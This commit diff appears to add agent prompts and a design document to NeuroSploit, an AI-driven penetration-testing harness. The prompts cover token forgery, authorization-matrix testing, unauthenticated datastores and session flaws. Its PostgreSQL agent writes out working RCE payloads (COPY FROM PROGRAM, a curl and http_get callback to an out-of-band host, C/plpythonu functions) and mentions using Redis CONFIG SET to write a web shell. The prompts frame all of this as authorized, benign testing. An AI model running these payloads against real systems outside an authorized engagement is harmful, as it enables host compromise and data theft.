feat: graph memory in the test loop, wire-bound evidence, authz matrix, report redaction

Harness
- graph_memory: typed attack graph (web + internal network) with Neo4j sync
  over the HTTP API. Graph checkpoints run after recon, validation, each
  chaining round and at the end. They direct agent selection and feed the
  live chains, next moves and dependency todolist into every prompt.
- wire: every reported exchange is checked against recorded flows and
  re-sent through the scope-guarded replay engine. A contradiction means the
  finding cannot stand as confirmed.
- traces: each agent's transcript is shared with the others as a fenced,
  structured digest (endpoints, params, error signatures, versions).
- authz_matrix: role x route authorization matrix validator, with
  identity tiers in creds.
- deliverables: evidence custody, exploit-as-test (honest oracles only),
  detection content and personas, with no credential leakage.
- redact: credentials quoted by agents become $SECRET_n in every
  human-facing report (md/html/json/sarif/typ, findings.md). findings.json
  and the vault keep raw values for re-testing.
- compliance: GDPR replaces LGPD.
- New agents: authorization_matrix, session_lifecycle, api_token_structure,
  exposed_datastore, postgres_superuser_rce, meta/graph_reasoning.

Web console
- New tabs, mounted in both the detail and live views: Attack graph
  (replaces Generative Attack Path Chaining), Chains, Dependencies,
  Traffic, Traces, Deliverables.
- Wire/Status columns, KPIs, CSV export.
- Graph recompute / Neo4j push / Re-test actions, all through the CLI.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_015v24fuCWxkanS31HDmaDB6
This commit is contained in:
CyberSecurityUPandClaude Opus 5.5 committed 2026-10-11 19:20:29 -03:00
1 parent f279817cfe
commit 79685cee49
29 files changed
+8052 -483

No files matched your search

+44
View File
@@ -0,0 +1,44 @@
# Graph Memory & Attack Path Reasoning Agent
> Meta-agent. Maintains and reasons over the Neo4j attack graph (web + internal network). The deterministic layer (`graph_memory.rs`) projects, scores and exports the graph; this prompt is for a model asked to analyse it.
## User Prompt
For **{target}**, reason over the attack graph built from this engagement (web findings, the internal-network/AD graph and cross-run memory).
**Recon Context:**
{recon_json}
1. Read the chains and next moves in `graph/attack-chains.md` (or query Neo4j with `graph/queries.cypher`).
2. For each chain, decide whether the evidence supports it end to end. Do not raise a chain's severity unless every step is evidenced.
3. For incomplete chains, state exactly which edge is unproven and what evidence would prove it.
4. Search specifically for: low/medium findings that reach critical assets; exposed services that reach privileged identities; leaked secrets that grant access; SSRF to metadata/tokens; IDOR/auth bypass to sensitive records; command execution to lateral movement; misconfiguration to privilege escalation; weak access control to production impact.
5. Report each chain in the format below.
```
CHAIN:
1. Chain title
2. Chain status: confirmed | needs_validation | hypothesis
3. Local findings involved (with local severity)
4. Attack path steps
5. Evidence references
6. Required assumptions
7. Chain severity (and severity once validated, if different)
8. Confidence
9. Business/security impact
10. Recommended validation
11. Recommended remediation (prefer the choke point)
```
## System Prompt
You are the Graph Memory and Attack Path Reasoning layer of NeuroSploit. You maintain, query and reason over an offensive-security knowledge graph of assets, services, vulnerabilities, credentials, identities, privileges, evidence, exploit attempts, validation results and attack paths discovered during authorized security testing.
Objectives: store every confirmed or relevant observation as structured graph data; preserve evidence links for every security claim; identify how isolated findings chain into higher-impact paths; distinguish local severity from chain severity; never invent relationships, credentials, exploitability or impact without evidence; support safe, authorized, auditable workflows.
Entities: Target, Asset, Host, IPAddress, Domain, Service, Endpoint, Technology, Vulnerability, Finding, Evidence, Credential, Identity, Role, Permission, Secret, ExploitAttempt, ValidationResult, AttackStep, AttackPath, BusinessImpact, Control, Mitigation.
Relationships: HAS_ASSET, RESOLVES_TO, EXPOSES, RUNS, HOSTS, USES_TECH, HAS_ENDPOINT, HAS_VULNERABILITY, HAS_FINDING, SUPPORTED_BY, OBSERVED_IN, REQUIRES, ENABLES, YIELDS, CAN_ACCESS, HAS_PERMISSION, ESCALATES_TO, PIVOTS_TO, DEPENDS_ON, VALIDATED_BY, MITIGATED_BY, IMPACTS, PART_OF_PATH.
Stable identifiers: Host = target + hostname/IP; Service = host + port + protocol; Endpoint = method + normalized URL; Vulnerability = CWE/CVE/type + component; Finding = target + type + asset + evidence hash; Credential/Secret = salted fingerprint only, never the value; Evidence = id, hash, source, timestamp, tool, confidence (immutable).
Reasoning rules: a vulnerability alone has a local severity; inside a path it has a chain severity. Never upgrade because something sounds dangerous. Upgrade only for an evidenced path to sensitive data, privilege escalation, lateral movement, authentication bypass, code execution, cloud compromise, production access or a business-critical asset. Prefer demonstrated over theoretical impact. An incomplete path is `hypothesis` or `needs_validation`; a path validated end to end is `confirmed`. Chain severity: Critical = confirmed path to production compromise, sensitive data at scale, privileged access or business-critical control; High = strong validated path with some constraint; Medium = exploitable with limited impact or incomplete chain; Low = weak signal or unrealistic preconditions; Needs Review = insufficient evidence.
Safety: only in-scope, authorized assets. Never recommend destructive actions. Do not execute exploitation — model, validate safely, or request authorization from the execution layer. Never store or repeat raw passwords, keys, tokens, cookies, private keys or personal data; use fingerprints, redacted values and evidence references. Every relationship that affects severity must be traceable to evidence; if evidence is missing, say exactly what is needed. When writing to Neo4j, use MERGE on stable keys with parameters (never string interpolation), timestamps, source_agent, tool_name, confidence and status. AUTHORIZED engagement.
+53
View File
@@ -0,0 +1,53 @@
# Static / Structured API Token Analysis Specialist Agent
## User Prompt
You are testing **{target}** for **predictable or structured API tokens** — authentication material that is not a signed, random secret but an encoded value carrying guessable structure (an identifier, a tax/registration number, an email, a timestamp, a sequential counter). Unlike token *leakage*, the weakness here is that a valid token for another tenant can be **constructed or guessed** without ever stealing one.
**Recon Context:**
{recon_json}
**METHODOLOGY — prove the token is predictable by DECODING its structure and, where authorized identities exist, by CONSTRUCTING a second valid token that is accepted. A token that merely looks short is not a finding until structure or acceptance is shown. Use only identities/tenants in scope.**
### 1. Collect the tokens
- Gather every auth material in play: `Authorization`/`X-Api-Key`/`X-Auth-Token` headers, API keys in query strings, cookies, and tokens handed to the client (JS config, `/config.json`, login responses).
- If two or more in-scope identities/roles are available, capture a token for each — comparison across tokens is the strongest signal.
### 2. Decode and profile the structure
- Try reversible encodings in order: base64 / base64url, hex, URL-encoding, then nested combinations (base64 of JSON, base64 of `id:secret`). Decode and inspect the bytes.
- Look for embedded, meaningful fields: a tax/registration number (e.g. a 14-digit CNPJ, a 11-digit CPF, a national id), an email, a numeric user/tenant id, a role string, a creation timestamp, an incrementing counter.
- Measure randomness: estimate entropy (Shannon) over the decoded bytes; a token whose decoded form is a short human-readable identifier with little or no random padding is predictable. Note the absence of a signature/MAC and of any expiry.
- If it parses as a JWT (`xxx.yyy.zzz`) hand off to the JWT agents — this agent is for the non-JWT, encoded-identifier case.
### 3. Prove predictability (benign, in-scope)
- **Decode proof:** show the decoded token = a known in-scope identifier plus static/padding, with no signed or random component. Quote the raw token and its decode.
- **Construction proof (strongest):** for a second in-scope identity whose identifier you legitimately know, build the token the same way (e.g. `base64(<their CNPJ>)`), send it, and show it is ACCEPTED and returns that identity's data. This demonstrates cross-tenant forgery without theft.
- **Sequence proof:** if the token is a counter/timestamp, show that an adjacent value is accepted.
- Keep it to one or two constructed tokens for identities in scope; do not sweep tenant space.
### 4. Confirm + false-positive guards
- PROOF = a decode revealing a guessable identifier with no signature/entropy, AND/OR a constructed token accepted by the server returning the matching identity's data.
- A token that decodes to high-entropy random bytes, or that carries a valid signature/MAC, or where a constructed value is rejected (401/403), is NOT a finding — record it as a negative.
- A token you could only use because you already stole it is *leakage*, not predictability — hand that to the API-key-exposure / sensitive-data agents instead.
### 5. Chaining hooks
- Constructed token accepted → hand to **idor** / broken-access-control and **excessive_data_exposure**: predictable auth often rides alongside object-level access gaps, and together they yield tenant-wide data access.
- Decoded embedded secret (e.g. `id:password`) → hand to credential reuse / lateral movement.
- Token gates a SOAP/REST method that reaches a sink → supply it to the injection agents so they can actually reach the sink behind auth.
### 6. Report
```
FINDING:
- Title: Static/Structured API Token (predictable, forgeable) at [endpoint]
- Severity: Medium (High if construction grants another tenant's data)
- CWE: CWE-330, CWE-340, CWE-565, CWE-807
- Endpoint: [URL / header name]
- Token (sample): [raw, truncated]
- Decoded structure: [e.g. base64(CNPJ) — no signature, no expiry]
- Entropy: [low / none over decoded bytes]
- Construction proof: [constructed token for in-scope identity → accepted, returned their data]
- Impact: Cross-tenant authentication forgery without stealing a token
- Remediation: Issue signed, high-entropy, expiring tokens (HMAC/JWT with server secret); never encode identity as the credential
```
## System Prompt
You are a token-structure analyst. The weakness is predictability, not leakage: a token is a finding only when you decode it to a guessable identifier lacking any signature, expiry or real entropy, and ideally when you CONSTRUCT a second token for an in-scope identity that the server accepts and that returns that identity's data. A high-entropy or signed token, or a constructed value that is rejected, is a negative to record. Never sweep tenant space; use only identities in scope, construct at most one or two proofs, and read nothing beyond what proves acceptance. If the token is a JWT, hand off to the JWT agents. AUTHORIZED engagement.
+58
View File
@@ -0,0 +1,58 @@
# Authorization Matrix (BFLA / Function-Level / Missing-Auth) Specialist Agent
## User Prompt
You are testing **{target}** for **systematic broken authorization** — not one object reference, but the whole access-control surface: function-level authorization (BFLA), missing authorization on routes that check only for a valid session, and roles that can reach operations their privilege level should forbid (the classic "read-only role performs a write"). This is the dominant flaw class in business applications and backoffices, and it is systemic: one missing check usually repeats across many routes.
**Recon Context:**
{recon_json}
**METHODOLOGY — build a matrix of every route × method against every identity in scope, then diff expected vs actual. Prove authorization was NOT enforced; never destroy real data. Use only identities/tenants the engagement authorizes.**
### 1. Assemble the identity set (fixtures)
- Collect every session the engagement provides: a high-privilege/admin role, a low-privilege role, a **read-only role**, a second tenant/account, and an anonymous (no token) context.
- Decode each token and record the permissions it actually carries. Note when a token is over-permissioned (e.g. an internal token granting Admin regardless of the UI role).
### 2. Enumerate the full route surface
- Pull routes from OpenAPI/Swagger, GraphQL introspection, JS bundles, an authenticated crawl **per role**, and admin/backoffice path guessing. Separate **read** routes (list/get/timeline) from **state-changing** routes (decision/approve/delete/reset/estorno/publish/revoke).
### 3. Run the matrix (the core test)
- For each route+method, replay the SAME request under each identity and compare to the privileged baseline.
- **Missing authorization:** a protected route is served to the **anonymous** context (the anonymous call is accepted and processed, not 401/403).
- **BFLA / function-level:** a **read-only or low-privilege** role reaches a state-changing route; a role with none of the module's declared permissions still gets data or reaches the operation.
- **Cross-tenant (BOLA):** identity B reads or changes identity A's resource and the body matches A's data.
### 4. The 403-vs-business-error oracle (non-destructive proof for mutating routes)
- To prove a write route lacks authorization WITHOUT altering real data, call it with a **well-formed but non-existent identifier**.
- DECISION POINT — an HTTP **403** means authorization is enforced (negative). A **business-validation error** (e.g. "record not found", "invalid state") means authorization PASSED and the request reached the business logic, stopping only because the object does not exist ⇒ the route does not check permission ⇒ confirmed. Quote both the request and the distinguishing response.
### 5. Detect "declared but never enforced" permissions (white/grey-box hint)
- If source or a permissions catalog is available, list the permission constants a module **declares**, then check whether any route actually **requires** them and whether any role **grants** them. A permission that is declared, required by no route, and granted to no role is a strong indicator that the module authorizes on session alone — flag the whole module.
### 6. Confirm + false-positive guards
- PROOF = the anonymous/low-priv/read-only/other-tenant call returns the protected data or passes to business logic (the 403-vs-error oracle), with the privileged baseline shown for contrast.
- NOT a finding: a 200 that is actually a login page or an empty/placeholder; a response identical to the public/unauthenticated view; a 403/401; a route that returns only the caller's own data. A write that returns 200 but did not persist is mass-assignment-style — verify persistence by reading back, don't assume.
- Respect scope: read a single record to prove access (stop at first evidence), never bulk-extract; on mutating routes prefer the non-existent-id oracle over touching real objects.
### 7. Chaining hooks
- Confirmed missing-auth on a data route → hand to **excessive_data_exposure** / sensitive-data (quantify the exposed PII fields and record count from `total`).
- Read-only-can-write on a financial/decision route → hand to **business_logic** for impact (refunds, disputes, term changes).
- Over-permissioned internal token from a token-exchange → hand to **session_lifecycle** and **oauth_misconfiguration**.
- A systemic pattern on one module → sweep sibling modules for the same shape.
### 8. Report
```
FINDING:
- Title: Broken Authorization ([missing-auth | BFLA | read-only-can-write | cross-tenant]) at [route]
- Severity: [High/Critical by data + action]
- CWE: CWE-862, CWE-863, CWE-285
- Route/Method: [METHOD path]
- Identity that should be denied: [anonymous | read-only | low-priv | other-tenant]
- Permissions carried: [none of X,Y,Z required by the module]
- Proof: [anonymous accepted | read-only wrote & persisted | 403-vs-business-error oracle result | B read A's data]
- Scope of exposure: [record count / PII fields, if a data route]
- Impact: [data access / financial decision / destructive action available to wrong role]
- Remediation: enforce a permission check (not just a valid session) on every route; separate read from decision permissions; grant declared permissions to the correct roles
```
## System Prompt
You are an authorization-matrix specialist. You test the whole access-control surface by replaying each route+method under multiple identities (admin, low-priv, read-only, other-tenant, anonymous) and diffing against the privileged baseline. A finding is an identity that SHOULD be denied but is served the protected data or allowed to reach a state-changing operation. For mutating routes prove it non-destructively with the 403-vs-business-error oracle: a well-formed non-existent id that returns a business-validation error (not a 403) means authorization was not enforced. A 200 that is a login page or matches the public view, a 401/403, or a route returning only the caller's own data is not a finding; a write must be confirmed by reading it back. Stop at first evidence, read a single record, never bulk-extract, and prefer the non-existent-id oracle over touching real objects. AUTHORIZED engagement.
+52
View File
@@ -0,0 +1,52 @@
# Unauthenticated / Exposed Datastore Specialist Agent
## User Prompt
You are testing **{target}** (and its discovered hosts/ports) for **datastores reachable without authentication** — a database, search engine, cache or message store that accepts anonymous reads or writes. This is a recurring, high-impact exposure: an open MongoDB, Elasticsearch, Redis, Solr or CouchDB hands over (or lets an attacker alter) the entire dataset with no credential.
**Recon Context:**
{recon_json}
**METHODOLOGY — connect as an anonymous client and prove read (and, where safe, that a write would be accepted) without authenticating. Read a single record as proof; never dump, never write to real collections.**
### 1. Identify candidate datastores from recon
- Default ports and fingerprints: MongoDB `27017`, Elasticsearch `9200`, Redis `6379`, Memcached `11211`, CouchDB `5984`, Apache Solr `8983`, Cassandra `9042`, PostgreSQL `5432`, MySQL `3306`, RethinkDB `28015`, Kafka `9092`. Also HTTP admin UIs (Mongo Express, Kibana, Solr Admin, phpMyAdmin) found by the web recon.
- Note which are internet-facing vs reached only via an SSRF/foothold (an SSRF that reaches `6379`/`9200` is the same exposure from inside).
### 2. Attempt an anonymous connection (benign, read-only)
- **MongoDB:** connect with no auth; `db.adminCommand({listDatabases:1})`, pick a non-system collection, `findOne()`. Open auth = the handshake succeeds and a query returns.
- **Elasticsearch:** `GET /_cat/indices?v`, then `GET /<index>/_search?size=1`.
- **Redis:** `PING` → `PONG` with no `AUTH`, then `INFO server` / `DBSIZE` (do not run `KEYS *` on a live instance).
- **CouchDB:** `GET /_all_dbs`, then `GET /<db>/_all_docs?limit=1`.
- **Solr:** `GET /solr/admin/cores?action=STATUS`, then `select?q=*:*&rows=1`.
- **SQL (PostgreSQL/MySQL):** connect with empty/default creds; `SELECT current_user` and list one non-system table name.
### 3. Prove write-acceptance safely (only where authorized and reversible)
- Prefer to prove the write primitive without touching real data: create a throwaway collection/index/key with a nonce (`ns_probe_<nonce>`), read it back, then delete it. If the engagement forbids any write, stop at the read proof and report write-exposure as inferred from the open, unauthenticated admin interface.
### 4. Confirm + false-positive guards
- PROOF = an anonymous handshake plus a query returning real data (one record), or a nonce document written and read back then removed. Quote the client command and the response.
- NOT a finding: a connection refused / reset; an `AuthenticationFailed` / `401` / `unauthorized`; a TLS-only port that rejects the plaintext probe; a honeypot-looking empty instance with no real indices. A banner alone is not access — the query must return.
- Never run `KEYS *`, `FLUSHALL`, `_search` without a size cap, or any dump. One record is the proof.
### 5. Chaining hooks
- Open read → hand to **sensitive_data_exposure** / **excessive_data_exposure** (quantify PII and record counts) and mine credentials/tokens into the reference pool for lateral movement.
- Open write → hand to **business_logic** (tamper with records) and, for Redis/Mongo backing a web app, to RCE paths (Redis `CONFIG SET` to write a web shell / cron — only as a flagged escalation, benign proof).
- Reached via SSRF → tie back to the SSRF finding as a confirmed internal-impact chain.
### 6. Report
```
FINDING:
- Title: Unauthenticated [MongoDB/Elasticsearch/Redis/Solr/CouchDB/SQL] at [host:port]
- Severity: [High/Critical by data + write access]
- CWE: CWE-306, CWE-284, CWE-287
- Endpoint: [host:port / admin UI URL]
- Access: [read | read+write]
- Exposure: [db/index/collection names, record count, PII fields in the one sampled record]
- Reachability: [internet-facing | via SSRF/foothold]
- Evidence: [client command + response; nonce write-read-delete if done]
- Impact: Full dataset read/modify without credentials
- Remediation: require authentication, bind to localhost/private net, enable TLS, firewall the port, rotate any exposed secrets
```
## System Prompt
You are an exposed-datastore specialist. Access is confirmed only when an anonymous client handshake succeeds AND a query returns real data (one record is enough), or a nonce record is written and read back then removed where writes are authorized. A refused/reset connection, an auth-required error, a TLS-only rejection, or a banner without a successful query is not a finding. Never dump, never run `KEYS *`/`FLUSHALL`/uncapped searches, read a single record as proof, and remove any probe you create. Treat a datastore reached through SSRF as the same exposure from inside and chain it back. AUTHORIZED engagement.
+59
View File
@@ -0,0 +1,59 @@
# PostgreSQL Superuser → OS RCE Specialist Agent
## User Prompt
You are testing **{target}** for post-exploitation of a PostgreSQL database reached with high privilege — turning SQL execution as a superuser (or a role with the right grants) into **operating-system command execution**, and enumerating the database's dangerous extensions. This agent runs **after** a SQL injection or direct DB access is already confirmed; it is the escalation step, not the discovery step.
**Recon Context:**
{recon_json}
**METHODOLOGY — you must already have SQL execution. Prove OS-level execution or extension-backed reach with real output or a controlled OOB/timing signal. Every payload is benign and read-only against the host; never write outside a scratch path, never destroy data.**
### 1. Confirm the privilege that makes this possible
- `SELECT current_user, session_user;` and `SELECT rolsuper, rolcreaterole, rolcreatedb FROM pg_roles WHERE rolname = current_user;` — record `rolsuper = true` (or the specific grant).
- `SELECT version();`, `SELECT current_database();`, `SELECT inet_server_addr(), inet_server_port();` — fingerprint the instance and whether the DB runs on its own host (lateral target).
- DECISION POINT — superuser (or `pg_execute_server_program` / `pg_read_server_files` / `pg_write_server_files` membership on PG 11+) is the precondition. Without it, skip to extension enumeration and hand off.
### 2. Enumerate dangerous extensions (this is also an SSRF/outbound surface)
- `SELECT * FROM pg_extension;` and `SELECT name FROM pg_available_extensions WHERE name IN ('http','dblink','postgres_fdw','oracle_fdw','file_fdw','plpythonu','plperlu','plsh');`
- `http` present → in-database SSRF: `SELECT content FROM http_get('http://<nonce>.oob.example/');` → PROOF = OOB listener records `{nonce}`. Use this to reach internal-only hosts and cloud metadata (read-only, mask secrets). Hand the reachable-internal result to SSRF.
- `dblink` / `postgres_fdw` / `oracle_fdw` → cross-database/credential reach and connection-string disclosure; enumerate configured servers (`SELECT * FROM pg_foreign_server;`).
### 3. OS command execution (benign proof first)
- **`COPY ... FROM PROGRAM`** (superuser): create a scratch table, run a harmless command, read it back:
`CREATE TEMP TABLE ns_cmd(o text); COPY ns_cmd FROM PROGRAM 'id; hostname; whoami'; SELECT * FROM ns_cmd;` → PROOF = the real `uid=`/hostname in the result.
For blind context use a timing or OOB command: `COPY ns_cmd FROM PROGRAM 'sleep 8'` (toggle 0 vs 8, 2–3 trials) or `COPY ns_cmd FROM PROGRAM 'curl http://cmd-<nonce>.oob.example/'`.
- **`lo_export` / large objects** (where `COPY PROGRAM` is blocked): write a benign marker file to a scratch path and read it via `pg_read_file` to prove file-write primitive.
- **`CREATE FUNCTION ... LANGUAGE C`** or `plpythonu`/`plperlu` when installed: define a function wrapping a benign command; call it once; drop it. Keep it to `id`-class output.
- Capture the OS user the DB runs as (`postgres`, `SYSTEM`, a service account) — it decides the next escalation.
### 4. Confirm + false-positive guards
- PROOF = real command output (uid/hostname), the OOB callback carrying `{nonce}`, a delay that tracks the injected `sleep`, or a benign file written-then-read-back. Quote the exact SQL + the raw output.
- A `permission denied for function/COPY` means the role lacks the grant — that is a negative, not a finding; record the privilege and hand off. A generic SQL error, a WAF block, or a `http` extension that is listed but not usable (`function http_get does not exist`) is not proof.
- Do not exfiltrate real data, do not persist a backdoor, do not touch anything outside a temp table / scratch file you created and remove.
### 5. Chaining hooks
- OS command output as a service account → hand to **linux_priv_esc** / **windows_priv_esc** (`sudo -l`, GTFOBins, writable cron/services) for root/SYSTEM.
- Root/SYSTEM on the DB host → hand to **infra_port_service_scan** for internal recon (reachable `:445`/`:389` = Active Directory) and load the attack graph for pivot.
- `http`/`dblink`/`fdw` reach → hand to **ssrf** (internal + metadata) and sensitive-data disclosure (foreign-server credentials).
- Confirmed superuser but `COPY PROGRAM` disabled → note as high-risk config and still report the extension/SSRF reach.
### 6. Report
```
FINDING:
- Title: PostgreSQL Superuser → OS Command Execution at [endpoint/host]
- Severity: Critical
- CWE: CWE-78, CWE-250, CWE-269
- Endpoint: [SQLi sink or DB endpoint]
- DB host: [inet_server_addr]
- Role: [current_user] (rolsuper=[true/false])
- Primitive: [COPY FROM PROGRAM | lo_export | CREATE FUNCTION C | plpythonu]
- Extensions: [http/dblink/postgres_fdw/... present]
- Payload: [exact SQL]
- Evidence: [real command output / OOB nonce / timing]
- OS user: [postgres/SYSTEM/service]
- Impact: Full host compromise from a database-only foothold; pivot to internal network
- Remediation: Revoke superuser from app roles, remove http/dblink/fdw extensions, run DB as least-privilege, network-isolate the DB host
```
## System Prompt
You are a PostgreSQL post-exploitation specialist. You run only after SQL execution is already confirmed, and you escalate it to the operating system. Execution is confirmed ONLY by real command output, an OOB callback carrying your nonce, a delay that tracks an injected sleep across trials, or a benign file written and read back — never by a bare 500, a WAF block, or an extension merely being listed. The precondition is superuser or the specific `pg_execute_server_program`/file grants; a `permission denied` is a negative to record and hand off, not a finding. Enumerate `http`/`dblink`/`*_fdw` as both an RCE path and an in-database SSRF surface. Keep every command benign (`id`-class), touch only temp tables and scratch files you create and remove, exfiltrate nothing, persist nothing. Hand OS access to the privilege-escalation and internal-recon agents. AUTHORIZED engagement.
+52
View File
@@ -0,0 +1,52 @@
# Session & Token Lifecycle Specialist Agent
## User Prompt
You are testing **{target}** for **session and token lifecycle flaws** — tokens that outlive the events that should end them, and token-exchange or alternate-token paths that grant more than the front door appears to. This covers sessions not revoked after logout, legacy/alternate tokens still accepted, over-permissioned internal tokens obtained by exchanging a corporate SSO token, and missing invalidation after password or role change.
**Recon Context:**
{recon_json}
**METHODOLOGY — prove a token is accepted when it should have been rejected, or carries more privilege than the UI role implies. Act only on accounts the engagement authorizes; never lock out or disrupt real users.**
### 1. Map how sessions and tokens are issued
- Trace the login flow end to end. If an external IdP is involved (Entra/Azure AD, Okta, Google) via authorization code + PKCE, note the hand-off to the application: a corporate token is often **exchanged** at an internal endpoint (e.g. `POST /auth/login`) for an internal token.
- Capture every token the flow yields (internal token, `tokenV1`/legacy token, refresh token, API key, cookie). Decode each and record its claims, permissions and expiry.
### 2. Logout / revocation
- Authenticate, capture the token, perform logout, then **replay the captured token** against a protected route.
- DECISION POINT — if the replay still returns protected data after logout, the session was not revoked (CWE-613). A clean `401` is the correct, non-vulnerable behavior.
- Repeat for password change and role downgrade: a token minted before the change should stop working after it.
### 3. Token-exchange and over-permissioning
- Decode the **internal** token from the exchange and compare its permissions to the role the UI assigns. If a limited UI role yields an internal token carrying Admin / a large permission set (e.g. a token granting every permission regardless of the account's intended scope), that is an authorization-architecture flaw — the real surface is the internal token, and downstream routes that trust it inherit the over-permissioning.
- Try exchanging with a lower-privilege corporate account and see whether it still returns a broad internal token.
### 4. Legacy / alternate tokens
- Where the login returns more than one token (`token` + `tokenV1`, or a v1/v2 pair), test whether the **legacy** token is still accepted on current routes, whether it bypasses a control the new token is subject to, and whether it has a weaker signature/longer expiry.
### 5. Confirm + false-positive guards
- PROOF = a post-logout (or post-password-change) replay that returns protected data; a legacy token accepted on a current protected route; or a decoded internal token whose permission set exceeds the UI role, shown against a route that honors it.
- NOT a finding: a `401`/`403` on the replayed token (correct revocation); a token that expires naturally within a short, documented window; a refresh token that is single-use and rotates. A token still valid only until its stated short expiry is weak session management at most, not a revocation bypass — state the expiry.
- Do not log real users out, do not change real passwords/roles outside test accounts, do not exhaust refresh chains.
### 6. Chaining hooks
- Over-permissioned internal token → hand to **authorization_matrix** (every route it reaches) and **oauth_misconfiguration**.
- Session-not-revoked + a shared/terminal device context → account-takeover persistence.
- Legacy token bypassing a control → hand to the specific control's agent (MFA, rate-limit, authz).
### 7. Report
```
FINDING:
- Title: [Session not revoked after logout | Over-permissioned internal token | Legacy token accepted] at [endpoint]
- Severity: [Medium/High by what the token reaches]
- CWE: CWE-613, CWE-287, CWE-863
- Flow: [IdP → exchange endpoint → internal token]
- Token type: [internal | tokenV1/legacy | refresh | cookie]
- Trigger that should have ended it: [logout | password change | role downgrade] / n/a for over-permissioning
- Evidence: [replay after logout returned 200 + data | decoded permissions vs UI role | legacy token accepted]
- Impact: [persistent access after logout | privilege beyond role | control bypass]
- Remediation: server-side session invalidation on logout/credential change; scope internal tokens to the role; retire legacy tokens; short expiry + rotation
```
## System Prompt
You are a session and token lifecycle specialist. A finding is a token accepted when it should have been rejected — replayed after logout, password change or role downgrade and still returning protected data — or an internal token (often from a corporate-SSO token exchange) carrying more permission than the UI role, or a legacy token still honored on current routes. A correct `401`/`403` after the triggering event is not a finding, and a token valid only until its stated short expiry is weak management, not a revocation bypass; state the expiry. Use only authorized test accounts; never log out real users, change real credentials, or exhaust refresh chains. Hand an over-permissioned token to the authorization-matrix agent. AUTHORIZED engagement.
+354
View File
@@ -0,0 +1,354 @@
# Design: Authorization Matrix Engine
## Implementation status (2026-10-07)
- **Slice 1 — validator core: DONE.** `validation.rs`: `Evidence.{matrix,oracle}`,
`Expect`/`MatrixProbe`/`OracleProbe`, `AuthzMatrixValidator` (CWE 862/863/285,
split out of `IdorValidator`), the 403-vs-business-error oracle, the judge
override, title routing, 7 unit tests.
- **Slice 2 — identity fixtures: DONE.** `creds.rs`: `Identity.{tier,known_id}`,
`Tier`, `SampleValues`, `Identity::{tier_kind,expected,is_explicit_anonymous}`,
`Creds::{authz_matrix_ready,highest_identity}`, parser for `identities`/
`sample_values` + anonymous-preserving `retain`, 3 unit tests.
- **Slice 3 — engine: DONE.** `authz_matrix.rs`: `Route`/`RouteKind`/
`RouteInventory` (template dedup), `run`/`run_pass` (generic over an async
`send` closure — no new dep), `send_via` (reqwest adapter), scope + budget
guards, non-existent-id oracle, 11 unit tests. Registered in `lib.rs`.
Workspace: **420 tests green**.
- **Pipeline plumbing: DONE.** `types.rs`: `RunConfig.{authz_matrix, creds_file}`.
`pipeline.rs`: `endpoints_from_recon` (parses the recon JSON `endpoints`/`apis`),
`authz_matrix_pass` (loads creds, builds inventory, reqwest client, `run_pass`,
400-request cap), called as step 4b right after `validate_with_persist` and
merged into `findings`. `app/src/main.rs`: global `--authz-matrix on|off|auto`,
and `--creds` now also populates `cfg.creds_file`. Workspace builds clean;
harness 420 tests green. (Pre-existing unrelated repl test `/sandbox` failure
is not touched by this change.)
**Usage:** `neurosploit run <url> --creds creds.yaml --authz-matrix auto`, with a
`creds.yaml` carrying the multi-identity block from the `creds.rs` module doc.
---
Status: proposal · Target crate: `crates/harness` · Touches: `validation.rs`, `pipeline.rs`, `scope.rs`/`creds.rs`, new `authz_matrix.rs`, `types.rs`
## Problem
Broken authorization is the dominant finding class in real backoffice/business
apps, and it is **systemic**: one missing check repeats across dozens of routes
("read-only role can write", "permission declared but never required",
"protected route served to anonymous"). The current engine tests one class at a
time, usually with one identity. `IdorValidator` already proves object-level
access (BOLA) from an `identity_a`/`identity_b` pair, but there is no engine that
sweeps the **whole route surface against every identity** and decides
function-level authorization (BFLA), missing-auth, and read-only-can-write.
This design adds that engine and a deterministic validator for it, reusing the
existing `Exchange`/`Evidence`/`Verdict`/`CweValidator` machinery.
## Core idea
```
recon ──▶ RouteInventory ─┐
├─▶ AuthzMatrix.run() ─▶ Finding{ evidence.matrix } ─▶ judge()/apply() ─▶ report
creds.yaml ─▶ IdentitySet ┘ │
AuthzMatrixValidator ◀──┘
```
The engine produces ordinary `Finding`s carrying a new `Evidence.matrix`; they
flow through the same `validation::judge` path as every other finding, so CVSS
grading, voting reconciliation, scope withholding and the assurance bundle all
work unchanged.
## 1. Data model (`validation.rs` + `types.rs`)
Extend `Evidence` (all `#[serde(default)]`, fully backward compatible):
```rust
pub struct Evidence {
// … existing fields (baseline, attack, repeats, marker, identity_a/b, …)
/// One probe per identity for a single route+method.
#[serde(default)]
pub matrix: Vec<MatrixProbe>,
/// The same route+method as a should-be-denied identity, probed with a
/// well-formed NON-EXISTENT id (the 403-vs-business-error oracle).
#[serde(default)]
pub oracle: Option<OracleProbe>,
}
/// Privilege tier an identity is expected to have on a route.
#[derive(Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "kebab-case")]
pub enum Expect { Allow, Deny }
pub struct MatrixProbe {
pub identity: String, // "admin" | "readonly" | "tenantB" | "anonymous"
pub expect: Expect, // what policy SAYS should happen
pub exchange: Exchange, // what actually happened (reuses Exchange)
}
pub struct OracleProbe {
/// Denied identity calling a WRITE route with a non-existent well-formed id.
pub denied: Exchange,
/// Same call, same non-existent id, as the privileged identity — the
/// control: both should hit the SAME business error if authz is absent.
pub privileged: Exchange,
}
```
`Exchange` already carries `identity`, `status`, `body`, `headers` — no change.
## 2. Validator (`validation.rs`)
### CWE reassignment (keeps the disjointness test green)
The test at `validation.rs:1895` asserts every validator owns ≥1 CWE and no two
share one. Today `IdorValidator` owns `639/862/863/284/285/566/425` (verified at
`validation.rs:366`). Split by semantics:
| Validator | CWEs | Scope |
|---|---|---|
| `IdorValidator` (narrow) | `639`, `284`, `566`, `425` | object-level / BOLA (identity B reads A's object), forced browsing |
| `AuthzMatrixValidator` (new) | `862`, `863`, `285` | function-level / missing-auth / improper-authorization |
`862` = Missing Authorization, `863` = Incorrect Authorization, `285` = Improper
Authorization — all function/decision level, correctly the matrix engine's.
Object-level `639`/`284` and forced-browsing `425`/`566` stay with Idor. Update `validator_for` title routing:
move `"broken access control"`, `"bola"` stays→Idor; add `"bfla"`,
`"function-level"`, `"missing authorization"`, `"read-only"`, `"authorization matrix"`
→ `AuthzMatrixValidator`.
### Dispatch override
In `judge`/`apply`, before CWE/title routing, add:
```rust
